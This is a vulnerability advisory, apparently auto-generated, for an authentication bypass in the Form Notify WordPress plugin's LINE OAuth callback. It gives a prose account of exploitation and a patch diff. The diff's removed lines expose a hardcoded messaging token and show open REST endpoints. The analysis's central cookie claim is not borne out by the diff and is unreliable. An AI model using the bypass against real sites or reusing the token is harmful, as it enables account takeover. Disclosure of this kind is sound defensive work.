Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-5229: Receive Notifications After Form Submitting – Form Notify for Any Forms <= 1.1.10 – Unauthenticated Authentication Bypass via LINE OAuth Callback (form-notify)

CVE ID CVE-2026-5229
Plugin form-notify
Severity Critical (CVSS 9.8)
CWE 287
Vulnerable Version 1.1.10
Patched Version 1.1.11
Disclosed May 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5229:

This vulnerability allows unauthenticated attackers to bypass authentication via the LINE OAuth login flow in the Form Notify plugin for WordPress, versions up to and including 1.1.10. The plugin incorrectly trusts client-supplied cookie data to determine which WordPress account to authenticate after a LINE OAuth login, enabling attackers to log in as any user, including administrators.

The root cause is in the `User.php` file, specifically in the `is_member()` method (line 59 in the vulnerable version). The method used `get_user_by(’email’, $user_email)` to look up the WordPress user by email address. The `$user_email` parameter was constructed using either the actual email from LINE’s OAuth response, or when LINE did not provide an email, the fallback value `$user_raw_id . ‘@line.com’`. However, the critical flaw is that the plugin read a cookie named `form_notify_line_email` to determine the email address. If LINE did not provide an email, the plugin used this client-controlled cookie value. The `login()` method in the same file (lines 57-71) then called `wp_set_auth_cookie()` with the user ID from this lookup, authenticating the attacker as that user. No verification ensured the LINE account was associated with that email address.

An attacker exploits this by first completing a LINE OAuth login flow with their own LINE account. During the callback process, they inject a cookie named `form_notify_line_email` containing the target victim’s WordPress user email address. The plugin processes the callback via the REST API endpoint at `/wp-json/form-notify/v1/callback`. When LINE does not return an email (which is common for LINE OAuth), the plugin falls back to reading the attacker-controlled cookie. The attacker then gains access to the victim’s account, including administrator privileges if the target email belongs to an admin.

The patch in version 1.1.11 fundamentally changes the user lookup mechanism in `is_member()` (lines 50-67 of the patched `User.php`). Instead of looking up by email, it now queries WordPress user meta for the LINE user ID (`form_notify_line_user_id`). This ensures only accounts previously linked to the specific LINE account can be authenticated. Additionally, the plugin now uses strong state validation with `wp_generate_password()` for the OAuth state parameter, adds proper nonce verification, and removes the cookie-based email fallback entirely. The `sign_up()` method also now checks if a real email from LINE would conflict with an existing WordPress account and aborts if so, preventing account hijacking during registration.

This authentication bypass has a CVSS score of 9.8 (Critical) and can lead to complete site compromise. An unauthenticated attacker can gain administrative access, modify or delete content, install malicious plugins, execute arbitrary PHP code via plugin/theme editing, and exfiltrate sensitive user data including customer information from WooCommerce databases.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/form-notify/form-notify.php
+++ b/form-notify/form-notify.php
@@ -13,7 +13,7 @@
  * Plugin Name:       FormNotify
  * Plugin URI:        https://oberonlai.blog/form-notify
  * Description:       Notification for WordPress form plugins.
- * Version:           1.1.10
+ * Version:           1.1.11
  * Author:            Daily WPdev.
  * Author URI:        https://oberonlai.blog
  * License:           GPL-2.0+
@@ -24,7 +24,7 @@

 defined( 'ABSPATH' ) || exit;

-define( 'FORMNOTIFY_VERSION', '1.1.10' );
+define( 'FORMNOTIFY_VERSION', '1.1.11' );
 define( 'FORMNOTIFY_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'FORMNOTIFY_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'FORMNOTIFY_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
@@ -41,7 +41,7 @@
 	load_plugin_textdomain( 'form-notify', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
 }

-add_action( 'plugin_loaded', 'formnotify_load_plugin_i18n' );
+add_action( 'plugins_loaded', 'formnotify_load_plugin_i18n' );

 /**
  * Get params from url
@@ -50,11 +50,15 @@
  *
  * @return string|null
  */
-function formnotify_get_params( string $key ): string|null {
+function formnotify_get_params( string $key ): string {
 	$query_string = isset( $_SERVER['QUERY_STRING'] ) ? sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ) : '';
 	parse_str( $query_string, $params );

-	return isset( $params[ $key ] ) ? $params[ $key ] : '';
+	if ( ! isset( $params[ $key ] ) || ! is_scalar( $params[ $key ] ) ) {
+		return '';
+	}
+
+	return sanitize_text_field( (string) $params[ $key ] );
 }

 /**
--- a/form-notify/src/APIs/HistoryTable.php
+++ b/form-notify/src/APIs/HistoryTable.php
@@ -344,29 +344,41 @@
 	 */
 	public function process_bulk_action(): void {
 		if ( 'delete' === $this->current_action() ) {
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_die( esc_html__( 'You do not have permission to perform this action.', 'form-notify' ), '', array( 'response' => 403 ) );
+			}
+
 			$nonce = formnotify_get_params( '_wpnonce' );
 			$data  = formnotify_get_params( 'id' );

 			if ( ! wp_verify_nonce( $nonce, 'history_delete' ) ) {
-				die( '發生錯誤!' );
-			} else {
-				$this->delete_history( absint( $data ) );
-				wp_safe_redirect( admin_url( 'edit.php?post_type=form-notify&page=form-notify-history' ) );
-				exit;
+				wp_die( esc_html__( 'Invalid security token.', 'form-notify' ), '', array( 'response' => 403 ) );
 			}
+
+			$this->delete_history( absint( $data ) );
+			wp_safe_redirect( admin_url( 'edit.php?post_type=form-notify&page=form-notify-history' ) );
+			exit;
 		}

 		$action  = formnotify_get_params( 'action' );
 		$action2 = formnotify_get_params( 'action2' );

-		$bulk = isset( $_GET['bulk-delete'] ) ? sanitize_text_field( wp_unslash( $_GET['bulk-delete'] ) ) : array();
+		if ( 'bulk-delete' === $action || 'bulk-delete' === $action2 ) {
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_die( esc_html__( 'You do not have permission to perform this action.', 'form-notify' ), '', array( 'response' => 403 ) );
+			}

-		$sanitized_bulk = array_map( 'sanitize_text_field', $bulk );
+			// WP_List_Table generates this nonce via wp_nonce_field( 'bulk-' . $this->_args['plural'] ).
+			check_admin_referer( 'bulk-' . $this->_args['plural'] );

-		if ( 'bulk-delete' === $action || 'bulk-delete' === $action2 ) {
-			$delete_ids = esc_sql( $sanitized_bulk );
-			foreach ( $delete_ids as $id ) {
-				$this->delete_history( $id );
+			$bulk = isset( $_GET['bulk-delete'] ) && is_array( $_GET['bulk-delete'] )
+				? array_map( 'absint', wp_unslash( $_GET['bulk-delete'] ) )
+				: array();
+
+			foreach ( $bulk as $id ) {
+				if ( $id > 0 ) {
+					$this->delete_history( $id );
+				}
 			}
 			wp_safe_redirect( admin_url( 'edit.php?post_type=form-notify&page=form-notify-history' ) );
 			exit;
--- a/form-notify/src/APIs/Line/Login/Button.php
+++ b/form-notify/src/APIs/Line/Login/Button.php
@@ -99,8 +99,8 @@
 	 */
 	public function render_button( string $size, string $text, string $align, string $show = null, string $lgmode = 'true' ): string {
 		if ( ! is_user_logged_in() || 'show' === $show ) {
-			// Translators: %s: text.
-			return '<div class="form-notify-line-wrap ' . esc_attr( $align ) . '"><a class="size-' . esc_attr( $size ) . '" href="' . esc_attr( get_the_permalink() ) . '?lgmode=' . $lgmode . '"><img src="' . esc_attr( FORMNOTIFY_PLUGIN_URL ) . 'assets/img/icon-line.svg" />' . esc_html( $text ) . '</a></div>';
+			$href = add_query_arg( 'lgmode', rawurlencode( $lgmode ), get_the_permalink() );
+			return '<div class="form-notify-line-wrap ' . esc_attr( $align ) . '"><a class="size-' . esc_attr( $size ) . '" href="' . esc_url( $href ) . '"><img src="' . esc_url( FORMNOTIFY_PLUGIN_URL . 'assets/img/icon-line.svg' ) . '" />' . esc_html( $text ) . '</a></div>';
 		}

 		return '';
@@ -130,7 +130,8 @@
 			$attrs
 		);

-		$r = '<div class="form-notify-line-wrap ' . $param['align'] . '"><a class="size-' . $param['size'] . '" href="' . get_the_permalink() . '?lgmode=' . $param['lgmode'] . '"><img src="' . FORMNOTIFY_PLUGIN_URL . 'assets/img/icon-line.svg">' . esc_html( $param['text'] ) . '</a></div>';
+		$href = add_query_arg( 'lgmode', rawurlencode( $param['lgmode'] ), get_the_permalink() );
+		$r    = '<div class="form-notify-line-wrap ' . esc_attr( $param['align'] ) . '"><a class="size-' . esc_attr( $param['size'] ) . '" href="' . esc_url( $href ) . '"><img src="' . esc_url( FORMNOTIFY_PLUGIN_URL . 'assets/img/icon-line.svg' ) . '">' . esc_html( $param['text'] ) . '</a></div>';

 		return $r;
 	}
--- a/form-notify/src/APIs/Line/Login/Route.php
+++ b/form-notify/src/APIs/Line/Login/Route.php
@@ -61,15 +61,14 @@
 	 */
 	public function get_api_login() {

-		$ts    = time();
-		$state = md5( $ts );
+		$state = wp_generate_password( 32, false );

-		set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
+		set_transient( 'form_notify_line_state_' . $state, 1, 60 * 10 );

 		$line = new SDK();
 		$url  = $line->get_login_url( $state );

-		header( 'Location:' . $url );
+		wp_redirect( esc_url_raw( $url ) ); // phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect -- redirect to LINE OAuth host.
 		exit;
 	}

@@ -80,49 +79,52 @@
 	 */
 	public function get_api_callback( object $request ): void {

-		$line = new SDK();
-
-		$code          = formnotify_get_params( 'code' );
-		$state         = formnotify_get_params( 'state' );
-		$session_state = get_transient( 'form_notify_line_state_' . $state );
+		$code  = formnotify_get_params( 'code' );
+		$state = formnotify_get_params( 'state' );

-		if ( empty( $session_state ) ) {
-			$session_state = sanitize_text_field( wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] ) );
-			set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
+		if ( empty( $code ) || empty( $state ) ) {
+			wp_safe_redirect( home_url() );
+			exit;
 		}

-		if ( $session_state !== $state ) {
-			$ts    = time();
-			$state = md5( $ts );
+		$transient_key = 'form_notify_line_state_' . $state;
+		$session_state = get_transient( $transient_key );

-			set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
-			wp_safe_redirect( $line->get_login_url( $state ) );
+		if ( empty( $session_state ) ) {
+			wp_safe_redirect( home_url() );
 			exit;
-
 		}

+		// Single-use state token.
+		delete_transient( $transient_key );
+
+		$line  = new SDK();
 		$token = $line->get_access_token( $code );

-		setcookie( 'access_token', $token['access_token'], time() + 3600 * 24 * 14 );
+		if ( empty( $token['access_token'] ) || empty( $token['id_token'] ) ) {
+			wp_safe_redirect( home_url() );
+			exit;
+		}

 		$user = $line->get_line_profile( $token['access_token'], $token['id_token'] );

-		if ( $user ) {
-
-			$user_raw_id    = $user->sub;
-			$user_display   = $user->name;
-			$user_avatar    = $user->picture;
-			$has_real_email = ! empty( $user->email );
-			$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
-
-			$user_obj = new User();
-			if ( $user_obj->is_member( $user_email, $user_avatar ) ) {
-				$user_obj->login( $user_raw_id, $user_email, $user_display, $user_avatar, $has_real_email );
-			} else {
-				$user_obj->sign_up( $user_raw_id, $user_email, $user_display, $user_avatar, $has_real_email );
-			}
+		if ( ! $user || empty( $user->sub ) ) {
+			wp_safe_redirect( home_url() );
+			exit;
 		}

+		$user_raw_id    = $user->sub;
+		$user_display   = isset( $user->name ) ? $user->name : '';
+		$user_avatar    = isset( $user->picture ) ? $user->picture : '';
+		$has_real_email = ! empty( $user->email );
+		$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.local';
+
+		$user_obj = new User();
+		if ( $user_obj->is_member( $user_raw_id ) ) {
+			$user_obj->login( $user_raw_id, $user_email, $user_display, $user_avatar, $has_real_email );
+		} else {
+			$user_obj->sign_up( $user_raw_id, $user_email, $user_display, $user_avatar, $has_real_email );
+		}
 	}
 }

--- a/form-notify/src/APIs/Line/Login/Sdk.php
+++ b/form-notify/src/APIs/Line/Login/Sdk.php
@@ -24,13 +24,12 @@
 			'response_type' => 'code',
 			'client_id'     => get_option( 'form_notify_line_login_channel_id' ),
 			'state'         => $state,
+			'scope'         => 'email openid profile',
+			'redirect_uri'  => rest_url( 'form-notify/v1/callback' ),
+			'bot_prompt'    => 'aggressive',
 		);

-		$host = 'https://access.line.me/oauth2/v2.1/authorize';
-
-		$url = $host . '?' . http_build_query( $parameter ) . '&scope=email%20openid%20profile&redirect_uri=' . home_url() . '/wp-json/form-notify/v1/callback&bot_prompt=aggressive';
-
-		return $url;
+		return 'https://access.line.me/oauth2/v2.1/authorize?' . http_build_query( $parameter );
 	}

 	/**
@@ -44,7 +43,7 @@
 		$body    = array(
 			'grant_type'    => 'authorization_code',
 			'code'          => $code,
-			'redirect_uri'  => home_url() . '/wp-json/form-notify/v1/callback',
+			'redirect_uri'  => rest_url( 'form-notify/v1/callback' ),
 			'client_id'     => get_option( 'form_notify_line_login_channel_id' ),
 			'client_secret' => get_option( 'form_notify_line_login_channel_secret' ),
 		);
--- a/form-notify/src/APIs/Line/Login/User.php
+++ b/form-notify/src/APIs/Line/Login/User.php
@@ -17,16 +17,16 @@
 	/**
 	 * User
 	 *
-	 * @var object $user User.
+	 * @var WP_User|false $user User.
 	 */
-	private object|bool $user;
+	private $user = false;

 	/**
 	 * Roles
 	 *
 	 * @var array $roles Roles.
 	 */
-	private array $roles;
+	private array $roles = array();

 	/**
 	 * Register
@@ -42,60 +42,75 @@
 	/**
 	 * Check is member
 	 *
-	 * @param string $user_email  User email.
-	 * @param string $user_avatar User avatar.
+	 * Look up the WordPress user by the LINE sub stored in user_meta.
+	 * Never trust client-supplied email for identity.
+	 *
+	 * @param string $user_raw_id LINE user sub.
 	 *
 	 * @return bool
 	 */
-	public function is_member( string $user_email, string $user_avatar ): bool {
-		$this->user    = get_user_by( 'email', $user_email );
-		$this->roles[] = $this->user->roles;
-		if ( ! is_wp_error( $this->user ) && $this->user ) {
-			return true;
+	public function is_member( string $user_raw_id ): bool {
+		if ( empty( $user_raw_id ) ) {
+			return false;
+		}
+
+		$query = new WP_User_Query(
+			array(
+				'meta_key'   => 'form_notify_line_user_id',
+				'meta_value' => $user_raw_id,
+				'number'     => 1,
+				'fields'     => 'all',
+			)
+		);
+
+		$results = $query->get_results();
+		if ( empty( $results ) ) {
+			return false;
 		}

-		return false;
+		$this->user  = $results[0];
+		$this->roles = (array) $this->user->roles;
+
+		return true;
 	}

 	/**
 	 * Login
 	 *
-	 * @param string $user_raw_id  User raw id.
-	 * @param string $user_email   User email.
-	 * @param string $user_display User display.
+	 * @param string $user_raw_id    User raw id.
+	 * @param string $user_email     User email.
+	 * @param string $user_display   User display.
 	 * @param string $user_avatar    User avatar.
 	 * @param bool   $has_real_email Whether LINE provided a real email.
 	 *
 	 * @return void
 	 */
 	public function login( string $user_raw_id, string $user_email, string $user_display, string $user_avatar, bool $has_real_email = false ): void {
-		if ( ! is_user_logged_in() ) {
-
-			wp_clear_auth_cookie();
-			wp_set_current_user( $this->user->ID );
-			wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
-
-			if ( ! get_user_meta( $this->user->ID, 'form_notify_line_user_id', true ) ) {
-				update_user_meta( $this->user->ID, 'form_notify_line_user_id', $user_raw_id );
-				update_user_meta( $this->user->ID, 'form_notify_line_user_avatar', $user_avatar );
-				update_user_meta( $this->user->ID, 'nickname', $user_display );
-				if ( $has_real_email ) {
-					update_user_meta( $this->user->ID, 'billing_email', $user_email );
-				}
-			}
+		if ( is_user_logged_in() || ! $this->user ) {
+			return;
+		}

-			$this->roles = $this->user->roles;
-			$this->set_logged_redirect( 'login' );
+		wp_clear_auth_cookie();
+		wp_set_current_user( $this->user->ID );
+		wp_set_auth_cookie( $this->user->ID, true );

+		update_user_meta( $this->user->ID, 'form_notify_line_user_avatar', $user_avatar );
+		if ( ! get_user_meta( $this->user->ID, 'nickname', true ) ) {
+			update_user_meta( $this->user->ID, 'nickname', $user_display );
+		}
+		if ( $has_real_email && ! get_user_meta( $this->user->ID, 'billing_email', true ) ) {
+			update_user_meta( $this->user->ID, 'billing_email', $user_email );
 		}
+
+		$this->set_logged_redirect( 'login' );
 	}

 	/**
 	 * Sign up
 	 *
-	 * @param string $user_raw_id  User raw id.
-	 * @param string $user_email   User email.
-	 * @param string $user_display User display.
+	 * @param string $user_raw_id    User raw id.
+	 * @param string $user_email     User email.
+	 * @param string $user_display   User display.
 	 * @param string $user_avatar    User avatar.
 	 * @param bool   $has_real_email Whether LINE provided a real email.
 	 *
@@ -103,42 +118,62 @@
 	 */
 	public function sign_up( string $user_raw_id, string $user_email, string $user_display, string $user_avatar, bool $has_real_email = false ): void {

-		if ( ! is_user_logged_in() ) {
-
-			if ( username_exists( strstr( $user_email, '@', true ) ) ) {
-				$user_login = strstr( $user_email, '@', true ) . '-' . wp_rand( 1, 10 );
-			} else {
-				$user_login = strstr( $user_email, '@', true );
-			}
+		if ( is_user_logged_in() ) {
+			return;
+		}

-			$userdata = array(
-				'user_login'   => $user_login,
-				'user_pass'    => $user_email,
-				'user_email'   => $user_email,
-				'display_name' => $user_display,
-				'nickname'     => $user_display,
-				'role'         => $this->role_check(),
-			);
+		// If LINE provided a real email and that email already belongs to a WP account,
+		// do not auto-link or auto-create — abort to prevent account hijack.
+		if ( $has_real_email && email_exists( $user_email ) ) {
+			wp_safe_redirect( home_url() );
+			exit;
+		}

-			$user_id = wp_insert_user( $userdata );
+		$base_login = sanitize_user( strstr( $user_email, '@', true ), true );
+		if ( empty( $base_login ) ) {
+			$base_login = 'line_' . substr( md5( $user_raw_id ), 0, 8 );
+		}
+		$user_login = $base_login;
+		$suffix     = 1;
+		while ( username_exists( $user_login ) ) {
+			$user_login = $base_login . '-' . $suffix;
+			++$suffix;
+		}
+
+		$userdata = array(
+			'user_login'   => $user_login,
+			'user_pass'    => wp_generate_password( 32, true, true ),
+			'user_email'   => $user_email,
+			'display_name' => $user_display,
+			'nickname'     => $user_display,
+			'role'         => $this->role_check(),
+		);

-			update_user_meta( $user_id, 'form_notify_line_user_id', $user_raw_id );
-			update_user_meta( $user_id, 'form_notify_line_user_avatar', $user_avatar );
-			if ( $has_real_email ) {
-				update_user_meta( $user_id, 'billing_email', $user_email );
-			}
+		$user_id = wp_insert_user( $userdata );

-			if ( function_exists( 'add_user_to_blog' ) ) {
-				add_user_to_blog( get_current_blog_id(), $user_id, $this->role_check() );
-			}
+		if ( is_wp_error( $user_id ) ) {
+			wp_safe_redirect( home_url() );
+			exit;
+		}

-			wp_clear_auth_cookie();
-			wp_set_current_user( $user_id );
-			wp_set_auth_cookie( $user_id, true, is_ssl() );
+		update_user_meta( $user_id, 'form_notify_line_user_id', $user_raw_id );
+		update_user_meta( $user_id, 'form_notify_line_user_avatar', $user_avatar );
+		if ( $has_real_email ) {
+			update_user_meta( $user_id, 'billing_email', $user_email );
+		}

-			$this->set_logged_redirect( 'signup' );
+		if ( function_exists( 'add_user_to_blog' ) ) {
+			add_user_to_blog( get_current_blog_id(), $user_id, $this->role_check() );
 		}

+		wp_clear_auth_cookie();
+		wp_set_current_user( $user_id );
+		wp_set_auth_cookie( $user_id, true );
+
+		$this->user  = get_user_by( 'id', $user_id );
+		$this->roles = $this->user ? (array) $this->user->roles : array();
+
+		$this->set_logged_redirect( 'signup' );
 	}

 	/**
@@ -147,15 +182,14 @@
 	 * @return string
 	 */
 	private function role_check(): string {
-		if ( get_option( 'form_notify_line_btn_user_role' ) ) {
-			return get_option( 'form_notify_line_btn_user_role' );
-		} else {
-			if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ), true ) ) {
-				return 'customer';
-			} else {
-				return 'subscriber';
-			}
+		$configured = get_option( 'form_notify_line_btn_user_role' );
+		if ( $configured ) {
+			return (string) $configured;
+		}
+		if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ), true ) ) {
+			return 'customer';
 		}
+		return 'subscriber';
 	}

 	/**
@@ -164,31 +198,46 @@
 	public function set_login_redirect_url(): void {
 		$lgmode = formnotify_get_params( 'lgmode' );

-		if ( $lgmode ) {
-			session_start();
+		if ( ! $lgmode ) {
+			return;
+		}

-			$line  = new SDK();
-			$state = md5( time() );
+		$line  = new SDK();
+		$state = wp_generate_password( 32, false );

-			$redirect_url = '';
+		$redirect_url = '';

-			if ( 'true' === $lgmode ) {
-				if ( isset( $_SERVER['HTTP_HOST'] ) && isset( $_SERVER['REQUEST_URI'] ) ) {
-					$http_post    = sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) );
-					$request_uri  = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );
-					$redirect_url = preg_replace( '~(?|&)lgmode=[^&]*~', '$1', 'https://' . $http_post . $request_uri );
-				}
-			} elseif ( str_contains( $lgmode, 'http' ) ) {
-				$redirect_url = wp_unslash( $lgmode );
+		if ( 'true' === $lgmode ) {
+			if ( isset( $_SERVER['HTTP_HOST'] ) && isset( $_SERVER['REQUEST_URI'] ) ) {
+				$http_host    = sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) );
+				$request_uri  = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) );
+				$scheme       = is_ssl() ? 'https://' : 'http://';
+				$redirect_url = preg_replace( '~(?|&)lgmode=[^&]*~', '$1', $scheme . $http_host . $request_uri );
+				$redirect_url = wp_validate_redirect( $redirect_url, home_url() );
 			}
+		} elseif ( str_contains( $lgmode, 'http' ) ) {
+			// Only allow on-site redirects.
+			$redirect_url = wp_validate_redirect( $lgmode, home_url() );
+		}
+
+		if ( $redirect_url ) {
+			setcookie(
+				'form_notify_login_redirect',
+				esc_url_raw( $redirect_url ),
+				array(
+					'expires'  => time() + 3600,
+					'path'     => '/',
+					'secure'   => is_ssl(),
+					'httponly' => true,
+					'samesite' => 'Lax',
+				)
+			);
+		}

-			setcookie( 'login_redirect_url', $redirect_url, time() + 3600, '/' );
-			$_SESSION[ 'form_notify_line_state_' . $state ] = $state;
-			set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
+		set_transient( 'form_notify_line_state_' . $state, 1, 60 * 10 );

-			header( 'Location:' . $line->get_login_url( $state ) );
-			exit;
-		}
+		wp_redirect( esc_url_raw( $line->get_login_url( $state ) ) ); // phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect -- redirect to LINE OAuth host.
+		exit;
 	}

 	/**
@@ -198,18 +247,42 @@
 	 */
 	public function set_logged_redirect( string $type ): void {

-		$login_redirect_url = isset( $_COOKIE['login_redirect_url'] ) ? sanitize_text_field( wp_unslash( $_COOKIE['login_redirect_url'] ) ) : '';
-		$admin_roles        = array( 'administrator', 'shop_manager' );
-		$is_admin           = ( count( array_intersect( $admin_roles, $this->roles ) ) > 0 ) ? true : false;
-		$is_wp_login        = str_contains( $login_redirect_url, 'wp-login.php' );
+		$cookie_redirect = isset( $_COOKIE['form_notify_login_redirect'] )
+			? esc_url_raw( wp_unslash( $_COOKIE['form_notify_login_redirect'] ) )
+			: '';
+		// Validate cookie value is on-site only.
+		$login_redirect_url = $cookie_redirect ? wp_validate_redirect( $cookie_redirect, '' ) : '';
+
+		$option_redirect = get_option( 'form_notify_line_btn_redirect' );
+		// Validate option value is on-site (admin-set, but defensive).
+		$option_redirect = $option_redirect ? wp_validate_redirect( $option_redirect, '' ) : '';
+
+		$admin_roles = array( 'administrator', 'shop_manager' );
+		$is_admin    = ( count( array_intersect( $admin_roles, $this->roles ) ) > 0 );
+		$is_wp_login = $login_redirect_url && str_contains( $login_redirect_url, 'wp-login.php' );
+
+		// Clear the redirect cookie after consumption.
+		if ( $cookie_redirect ) {
+			setcookie(
+				'form_notify_login_redirect',
+				'',
+				array(
+					'expires'  => time() - 3600,
+					'path'     => '/',
+					'secure'   => is_ssl(),
+					'httponly' => true,
+					'samesite' => 'Lax',
+				)
+			);
+		}

-		if ( $login_redirect_url && ! get_option( 'form_notify_line_btn_redirect' ) ) {
-			header( 'Location:' . $login_redirect_url );
+		if ( $login_redirect_url && ! $option_redirect ) {
+			wp_safe_redirect( $login_redirect_url );
 			exit;
 		}

-		if ( get_option( 'form_notify_line_btn_redirect' ) ) {
-			header( 'Location:' . get_option( 'form_notify_line_btn_redirect' ) );
+		if ( $option_redirect ) {
+			wp_safe_redirect( $option_redirect );
 			exit;
 		}

@@ -257,34 +330,30 @@
 	 */
 	public function replace_avatar_url( array $args, mixed $id_or_email ): array {

-		$user_id = '';
-
-		if ( 'object' === gettype( $id_or_email ) && 'WP_Comment' === get_class( $id_or_email ) ) {
-			$user_id = $id_or_email->user_id;
-		}
-
-		if ( 'object' === gettype( $id_or_email ) && 'WP_User' === get_class( $id_or_email ) ) {
-			$user_id = $id_or_email->ID;
-		}
+		$user_id = 0;

-		if ( 'integer' === gettype( $id_or_email ) ) {
+		if ( $id_or_email instanceof WP_Comment ) {
+			$user_id = (int) $id_or_email->user_id;
+		} elseif ( $id_or_email instanceof WP_User ) {
+			$user_id = (int) $id_or_email->ID;
+		} elseif ( is_int( $id_or_email ) ) {
 			$user_id = $id_or_email;
-		}
-
-		if ( 'string' === gettype( $id_or_email ) && strpos( $id_or_email, '@' ) !== false ) {
-			$user_id = get_user_by( 'email', $id_or_email )->ID;
+		} elseif ( is_string( $id_or_email ) && strpos( $id_or_email, '@' ) !== false ) {
+			$user = get_user_by( 'email', $id_or_email );
+			if ( $user ) {
+				$user_id = (int) $user->ID;
+			}
 		}

 		if ( $user_id ) {
-			if ( get_user_meta( $user_id, 'form_notify_line_user_avatar' ) ) {
-				$args['url'] = get_user_meta( $user_id, 'form_notify_line_user_avatar', true );
+			$avatar = get_user_meta( $user_id, 'form_notify_line_user_avatar', true );
+			if ( $avatar ) {
+				$args['url'] = esc_url_raw( $avatar );
 			}
 		}

 		return $args;
-
 	}
-
 }

 User::register();
--- a/form-notify/src/APIs/Line/Message.php
+++ b/form-notify/src/APIs/Line/Message.php
@@ -31,7 +31,7 @@
 	 * Construct
 	 */
 	public function __construct() {
-		$this->token    = ( get_option( 'form_notify_line_message_token' ) ) ? get_option( 'form_notify_line_message_token' ) : 'xrTVdDn+qvmS/vl1wicjOt9zsonq1fquP78yb/EOAlXIR+BwmxQd11a5kJLPN3vE4eN0KYgbXook7qAreUVWm9JFBSulgU1UKpvvQgaHNjqMYoHSi1UCVvWzGWGkXSbAIl/o2M+mlibm9xpW4nW32AdB04t89/1O/w1cDnyilFU=';
+		$this->token    = ( get_option( 'form_notify_line_message_token' ) ) ? get_option( 'form_notify_line_message_token' ) : '';
 		$this->endpoint = 'https://api.line.me/v2/bot/message/push';
 	}

--- a/form-notify/src/APIs/Metabox/Metabox.php
+++ b/form-notify/src/APIs/Metabox/Metabox.php
@@ -152,14 +152,13 @@

 		foreach ( $this->fields as $field ) {
 			if ( isset( $_POST[ $field['id'] ] ) ) {
-				$post_field_id = $this->sanitize_recursive( $_POST[ $field['id'] ] );
+				$raw           = wp_unslash( $_POST[ $field['id'] ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized below.
+				$post_field_id = $this->sanitize_recursive( $raw );

-				if ( 'text' === $field['type'] || 'textarea' === $field['type'] ) {
-					update_post_meta( $post->ID, $field['id'], $post_field_id );
-				} elseif ( 'multiselect' === $field['type'] ) {
+				if ( 'multiselect' === $field['type'] ) {
 					update_post_meta( $post->ID, $field['id'], wp_json_encode( $post_field_id ) );
 				} else {
-					update_post_meta( $post->ID, $field['id'], $post_field_id ); // phpcs:ignore
+					update_post_meta( $post->ID, $field['id'], $post_field_id );
 				}
 			} else {
 				delete_post_meta( $post->ID, $field['id'] );
@@ -167,16 +166,26 @@
 		}
 	}

+	/**
+	 * Recursively sanitize a value (scalar or nested array).
+	 *
+	 * @param mixed $data Raw value.
+	 *
+	 * @return mixed
+	 */
 	public function sanitize_recursive( $data ) {
 		if ( is_array( $data ) ) {
+			$out = array();
 			foreach ( $data as $key => $value ) {
-				$data[ $key ] = $value;
+				$safe_key         = is_string( $key ) ? sanitize_key( $key ) : $key;
+				$out[ $safe_key ] = $this->sanitize_recursive( $value );
 			}
-		} else {
-			$data = sanitize_text_field( $data );
+			return $out;
 		}
-
-		return $data;
+		if ( is_scalar( $data ) ) {
+			return sanitize_textarea_field( (string) $data );
+		}
+		return '';
 	}

 	/**
--- a/form-notify/src/APIs/Sms/Easygo.php
+++ b/form-notify/src/APIs/Sms/Easygo.php
@@ -161,7 +161,7 @@
 				'methods'             => 'GET',
 				'callback'            => array( $this, 'get_points_api_body' ),
 				'permission_callback' => function () {
-					return true;
+					return current_user_can( 'manage_options' );
 				},
 			)
 		);
--- a/form-notify/src/APIs/Sms/Every8d.php
+++ b/form-notify/src/APIs/Sms/Every8d.php
@@ -266,7 +266,7 @@
 				'methods'             => 'GET',
 				'callback'            => array( $this, 'get_points_api_body' ),
 				'permission_callback' => function () {
-					return true;
+					return current_user_can( 'manage_options' );
 				},
 			)
 		);
--- a/form-notify/src/APIs/Sms/Mitake.php
+++ b/form-notify/src/APIs/Sms/Mitake.php
@@ -151,7 +151,7 @@
 				'methods'             => 'GET',
 				'callback'            => array( $this, 'get_points_api_body' ),
 				'permission_callback' => function () {
-					return true;
+					return current_user_can( 'manage_options' );
 				},
 			)
 		);
@@ -165,11 +165,13 @@
 	 * @return string
 	 */
 	public function get_callback_body( WP_REST_Request $request ): string {
-		$msgid      = $request['msgid'];
-		$phone      = $request['dstaddr'];
-		$code       = $request['statuscode'];
-		$statusstr  = $request['statusstr'];
-		$statusflag = $request['StatusFlag'];
+		$msgid     = is_string( $request['msgid'] ?? null ) ? sanitize_text_field( $request['msgid'] ) : '';
+		$statusstr = is_string( $request['statusstr'] ?? null ) ? sanitize_text_field( $request['statusstr'] ) : '';
+
+		if ( empty( $msgid ) ) {
+			return '';
+		}
+
 		$history_id = History::select( $msgid, 'notify_type' );

 		$status = match ( $statusstr ) {
--- a/form-notify/src/Events/AbstractNotify.php
+++ b/form-notify/src/Events/AbstractNotify.php
@@ -173,12 +173,21 @@

 								break;
 							case 'email':
-								$subject = $this->replace_message_content( $action['form_notify_action_module_subject'], $form_data );
